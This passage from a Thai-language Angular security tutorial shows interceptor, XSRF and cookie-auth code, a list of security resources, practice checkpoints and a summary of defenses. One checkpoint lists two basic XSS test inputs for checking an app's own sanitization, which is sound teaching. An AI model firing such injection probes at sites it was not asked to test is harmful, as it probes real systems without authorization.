} from '@angular/common/http';
import { provideRouter } from '@angular/router';
import { 
    // authInterceptor,      // สร้างเพิ่มถ้าใช้ header-based JWT (ดูตัวอย่าง localStorage section)
    errorInterceptor, 
    refreshInterceptor, 
    credentialsInterceptor 
} from './interceptors';
import { GlobalErrorHandler } from './error-handler';

export const appConfig: ApplicationConfig = {
    providers: [
        provideRouter(routes),
        
        provideHttpClient(
            withFetch(),
            withXsrfConfiguration({
                cookieName: 'XSRF-TOKEN',
                headerName: 'X-XSRF-TOKEN'
            }),
            withInterceptors([
                credentialsInterceptor,    // withCredentials: true
                // authInterceptor,        // เพิ่มถ้าใช้ header-based JWT
                refreshInterceptor,         // 401 → refresh
                errorInterceptor             // global error handling
            ])
        ),
        
        { provide: ErrorHandler, useClass: GlobalErrorHandler }
    ]
};
typescript
// interceptors/credentials.interceptor.ts
import { HttpInterceptorFn } from '@angular/common/http';

export const credentialsInterceptor: HttpInterceptorFn = (req, next) => {
    return next(req.clone({ withCredentials: true }));
};
typescript
// interceptors/error.interceptor.ts
import { inject } from '@angular/core';
import { HttpInterceptorFn, HttpErrorResponse } from '@angular/common/http';
import { Router } from '@angular/router';
import { catchError, throwError } from 'rxjs';

export const errorInterceptor: HttpInterceptorFn = (req, next) => {
    const router = inject(Router);
    const notify = inject(NotificationService);  // NotificationService เป็น service สมมติ — inject ของจริงตามโปรเจกต์ (เช่น MatSnackBar หรือ toast library ที่ใช้)
    
    return next(req).pipe(
        catchError((err: HttpErrorResponse) => {
            switch (err.status) {
                case 401:
                    router.navigate(['/login']);
                    break;
                case 403:
                    notify.error('Access denied');
                    router.navigate(['/forbidden']);
                    break;
                case 429:
                    notify.error('Too many requests. Please slow down.');
                    break;
                case 0:
                    notify.error('Network error');
                    break;
                case 500:
                case 502:
                case 503:
                    notify.error('Server error. Please try again later.');
                    break;
            }
            return throwError(() => err);
        })
    );
};
typescript
// services/auth.service.ts
import { Injectable, inject, signal, computed } from '@angular/core';
import { HttpClient } from '@angular/common/http';
import { Router } from '@angular/router';
import { firstValueFrom } from 'rxjs';
import { tap } from 'rxjs/operators';

@Injectable({ providedIn: 'root' })
export class AuthService {
    private http = inject(HttpClient);
    private router = inject(Router);
    
    private _user = signal<User | null>(null);
    private _loading = signal(false);
    
    readonly user = this._user.asReadonly();
    readonly isLoggedIn = computed(() => this._user() !== null);
    readonly loading = this._loading.asReadonly();
    
    constructor() {
        this.checkSession();
    }
    
    async login(credentials: { email: string; password: string }) {
        this._loading.set(true);
        try {
            const user = await firstValueFrom(
                this.http.post<User>('/api/auth/login', credentials)
            );
            this._user.set(user);
            this.router.navigate(['/dashboard']);
        } finally {
            this._loading.set(false);
        }
    }
    
    async logout() {
        try {
            await firstValueFrom(this.http.post('/api/auth/logout', {}));
        } finally {
            this._user.set(null);
            this.router.navigate(['/login']);
        }
    }
    
    refresh() {
        return this.http.post<User>('/api/auth/refresh', {}).pipe(
            tap(user => this._user.set(user))
        );
    }
    
    private async checkSession() {
        try {
            const user = await firstValueFrom(this.http.get<User>('/api/me'));
            this._user.set(user);
        } catch {
            // Not logged in — fine
        }
    }
}

23. Resources ​

แหล่งเรียนรู้ต่อด้านความปลอดภัยที่ควรบุ๊กมาร์กไว้ — ทั้งมาตรฐาน OWASP, คู่มือ security ของ Angular และเครื่องมือสแกนช่องโหว่/ทดสอบเจาะระบบ:

Official + Standards ​

Tools ​

  • Snyk — vulnerability scanning
  • OWASP ZAP — pentesting
  • Burp Suite — interception proxy
  • CSP Evaluator (Google) — check your CSP
  • securityheaders.com — scan your HTTP headers
  • Mozilla Observatory — security grade

Books ​

  • "Web Application Hacker's Handbook" (Stuttard, Pinto)
  • "Real-World Bug Hunting" (Yaworski)

Newsletter ​

  • tldrsec
  • Krebs on Security
  • The Hacker News

24. Checkpoint ​

ลองลงมือฝึกตามโจทย์ด้านล่างเพื่อให้เห็นภาพจริง ตั้งแต่ audit dependency, ตั้ง CSP, ทดสอบ XSS ไปจนถึงตั้งค่า auth cookie แบบปลอดภัย:

🛠️ Checkpoint 13.1 — Audit Dependencies

  • Run npm audit ใน app
  • Fix high/critical
  • Setup Dependabot ใน GitHub

🛠️ Checkpoint 13.2 — CSP Setup

  • Add CSP header (server config or <meta http-equiv>)
  • Open browser DevTools — fix violations one by one
  • Verify with CSP Evaluator

🛠️ Checkpoint 13.3 — XSS Test

  • Try input <script>alert(1)</script> — should display as text
  • Try <img src=x onerror=alert(1)> — should be sanitized
  • Test bypassSecurityTrustHtml — verify proper sanitization

🛠️ Checkpoint 13.4 — Auth Cookie

  • Setup backend to issue HttpOnly cookie
  • Frontend withCredentials: true
  • Verify cookie not accessible from document.cookie
  • CSRF token flow working

🛠️ Checkpoint 13.5 — Security Headers


25. สรุปบท ​

✅ Threat model: XSS, CSRF, clickjacking, supply chain
✅ Angular built-in sanitization — ใช้ {{ }} / [prop] ไม่ใช่ [innerHTML]
✅ bypassSecurityTrust*: ใช้ระวัง — combine กับ DOMPurify
✅ CSP header — first line of defense XSS (default-src 'self')
✅ Trusted Types (Chromium) — block injection at sink
✅ Auth storage: HttpOnly cookie ดีกว่า localStorage
✅ CSRF: withXsrfConfiguration() + SameSite cookie
✅ Frontend permission = UX, server-side = security
✅ HTTPS + HSTS + secure headers (X-Frame-Options, CSP, ...)
✅ Source map hidden in production
✅ No secret in environment.ts (frontend bundle = public)
✅ npm audit + Snyk + Dependabot ใน CI
✅ Global ErrorHandler + Sentry for monitoring
✅ Test: penetration test, static analysis, manual review


← บทที่ 12: Accessibility | สารบัญ | บทที่ 14: Material + CDK →


🔤 Glossary · 📋 Style guide · 📅 last_verified: 2026-06-03